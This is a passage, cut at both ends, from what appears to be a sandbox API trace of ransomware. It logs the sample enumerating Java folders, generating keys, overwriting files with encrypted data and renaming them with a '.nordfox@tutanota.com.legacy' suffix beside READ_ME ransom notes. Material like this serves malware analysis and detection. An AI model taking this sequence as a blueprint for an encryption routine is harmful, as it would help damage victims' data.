lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33, lpOverlapped=0x0) returned 1 [0124.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cd8 | out: hHeap=0x520000) returned 1 [0124.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567198 | out: hHeap=0x520000) returned 1 [0124.878] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33 [0124.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.878] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.878] WriteFile (in: hFile=0x6e4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.878] CloseHandle (hObject=0x6e4) returned 1 [0124.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0124.879] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0124.879] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609ee8 | out: hHeap=0x520000) returned 1 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f20 | out: hHeap=0x520000) returned 1 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8268 | out: hHeap=0x520000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0124.883] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567098 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0124.883] GetLastError () returned 0x0 [0124.883] SetLastError (dwErrCode=0x0) [0124.883] GetLastError () returned 0x0 [0124.883] SetLastError (dwErrCode=0x0) [0124.883] GetLastError () returned 0x0 [0124.883] SetLastError (dwErrCode=0x0) [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566cd8 [0124.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cd8 | out: hHeap=0x520000) returned 1 [0124.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0124.884] FindNextFileW (in: hFindFile=0x567098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0124.884] GetLastError () returned 0x0 [0124.884] SetLastError (dwErrCode=0x0) [0124.884] GetLastError () returned 0x0 [0124.884] SetLastError (dwErrCode=0x0) [0124.884] GetLastError () returned 0x0 [0124.884] SetLastError (dwErrCode=0x0) [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566cd8 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cd8 | out: hHeap=0x520000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0124.884] FindNextFileW (in: hFindFile=0x567098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0124.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0124.884] GetLastError () returned 0x0 [0124.885] SetLastError (dwErrCode=0x0) [0124.885] GetLastError () returned 0x0 [0124.885] SetLastError (dwErrCode=0x0) [0124.885] GetLastError () returned 0x0 [0124.885] SetLastError (dwErrCode=0x0) [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0124.885] FindNextFileW (in: hFindFile=0x567098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd58c47c1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58c47c1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0124.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0124.885] GetLastError () returned 0x0 [0124.885] SetLastError (dwErrCode=0x0) [0124.885] GetLastError () returned 0x0 [0124.885] SetLastError (dwErrCode=0x0) [0124.885] GetLastError () returned 0x0 [0124.885] SetLastError (dwErrCode=0x0) [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.885] FindNextFileW (in: hFindFile=0x567098, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd58c47c1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58c47c1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0124.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0124.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0124.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0124.885] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8", dwFileAttributes=0x80) returned 1 [0124.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0124.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0124.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0124.886] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0124.887] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82551925) returned 1 [0124.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4eba475) returned 0x312e020 [0125.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4eba475) returned 0x84d9020 [0125.358] ReadFile (in: hFile=0x6e8, lpBuffer=0x312e020, nNumberOfBytesToRead=0x4eba475, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4eba475, lpOverlapped=0x0) returned 1 [0130.552] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-82551925, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.552] WriteFile (in: hFile=0x6e8, lpBuffer=0x84d9020*, nNumberOfBytesToWrite=0x4eba475, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x84d9020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4eba475, lpOverlapped=0x0) returned 1 [0132.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312e020 | out: hHeap=0x520000) returned 1 [0133.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x84d9020 | out: hHeap=0x520000) returned 1 [0133.471] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4eba475 [0133.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0133.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0133.471] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0133.471] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0133.471] CloseHandle (hObject=0x6e8) returned 1 [0133.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0133.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0133.472] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0133.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0133.474] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567198 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0133.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0133.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0133.474] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0133.474] GetLastError () returned 0x0 [0133.474] SetLastError (dwErrCode=0x0) [0133.475] GetLastError () returned 0x0 [0133.475] SetLastError (dwErrCode=0x0) [0133.475] GetLastError () returned 0x0 [0133.475] SetLastError (dwErrCode=0x0) [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567218 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567218 | out: hHeap=0x520000) returned 1 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0133.475] FindNextFileW (in: hFindFile=0x567198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0133.475] GetLastError () returned 0x0 [0133.475] SetLastError (dwErrCode=0x0) [0133.475] GetLastError () returned 0x0 [0133.475] SetLastError (dwErrCode=0x0) [0133.475] GetLastError () returned 0x0 [0133.475] SetLastError (dwErrCode=0x0) [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0133.475] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0133.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567218 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567218 | out: hHeap=0x520000) returned 1 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0133.476] FindNextFileW (in: hFindFile=0x567198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="java.exe", cAlternateFileName="")) returned 1 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0133.476] GetLastError () returned 0x0 [0133.476] SetLastError (dwErrCode=0x0) [0133.476] GetLastError () returned 0x0 [0133.476] SetLastError (dwErrCode=0x0) [0133.476] GetLastError () returned 0x0 [0133.476] SetLastError (dwErrCode=0x0) [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0133.476] FindNextFileW (in: hFindFile=0x567198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0133.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0133.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0133.476] GetLastError () returned 0x0 [0133.476] SetLastError (dwErrCode=0x0) [0133.476] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.477] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0133.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0133.477] FindNextFileW (in: hFindFile=0x567198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0133.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0133.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0133.477] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.477] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.477] GetLastError () returned 0x0 [0133.477] SetLastError (dwErrCode=0x0) [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0133.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0133.477] FindNextFileW (in: hFindFile=0x567198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd58c47c1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd58c47c1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd58c47c1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0133.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0133.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0133.477] RtlAllocateHeap (HeapHandle=0x520000, 